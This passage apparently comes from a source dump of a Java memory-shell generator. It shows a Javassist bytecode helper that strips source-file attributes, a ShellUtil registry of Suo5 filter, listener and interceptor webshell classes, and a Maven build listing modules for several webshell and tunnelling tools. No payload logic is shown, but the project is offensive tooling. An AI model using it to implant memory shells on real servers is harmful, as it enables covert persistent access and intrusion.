JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 48 | } 49 | JavassistUtil.removeSourceFileAttribute(ctClass); 50 | bytes = ctClass.toBytecode(); 51 | ctClass.detach(); 52 | } catch (Exception e) { 53 | e.printStackTrace(); 54 | } 55 | return bytes; 56 | } 57 | 58 | } 59 | -------------------------------------------------------------------------------- /jmg-suo5/src/main/java/jmg/suo5/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.suo5.util; 2 | 3 | import jmg.core.config.Constants; 4 | import jmg.suo5.memshell.Suo5Filter; 5 | import jmg.suo5.memshell.Suo5Interceptor; 6 | import jmg.suo5.memshell.Suo5Listener; 7 | 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | 11 | public class ShellUtil { 12 | 13 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 14 | private static final Map> toolMap = new HashMap(); 15 | 16 | public ShellUtil() { 17 | } 18 | 19 | public static String getShellName(String toolType, String shellType) { 20 | Map shellMap = toolMap.get(toolType); 21 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 22 | } 23 | 24 | public static String getShellClassName(String shellName) throws Exception { 25 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 26 | throw new Exception("Invalid shell type '" + shellName + "'"); 27 | } else { 28 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 29 | } 30 | } 31 | 32 | static { 33 | SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName()); 35 | SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName()); 36 | Map suo5Map = new HashMap(); 37 | suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName()); 38 | suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName()); 39 | suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName()); 40 | toolMap.put(Constants.TOOL_SUO5, suo5Map); 41 | } 42 | 43 | 44 | } 45 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | pom 8 | ${revision} 9 | 10 | jmg-antsword 11 | jmg-behinder 12 | jmg-core 13 | jmg-custom 14 | jmg-godzilla 15 | jmg-gui 16 | jmg-neoregeorg 17 | jmg-suo5 18 | 19 | 20 | 21 | 1.0.8 22 | UTF-8 23 | 8 24 | 8 25 | 26 | 27 | 28 | 29 | me.gv7.woodpecker 30 | woodpecker-bcel 31 | 0.1.0 32 | 33 | 34 | me.gv7.woodpecker 35 | woodpecker-tools 36 | 0.1.1 37 | 38 | 39 | me.gv7.woodpecker 40 | woodpecker-sdk 41 | 0.3.0 42 | 43 | 44 | javax.servlet 45 | javax.servlet-api 46 | 4.0.1 47 | 48 | 49 | org.javassist 50 | javassist 51 | 3.20.0-GA 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | org.apache.maven.plugins 60 | maven-assembly-plugin 61 | 3.6.0 62 | 63 | 64 | jar-with-dependencies 65 | 66 | 67 | 68 | 69 | make-assembly 70 | package 71 | 72 | single 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | --------------------------------------------------------------------------------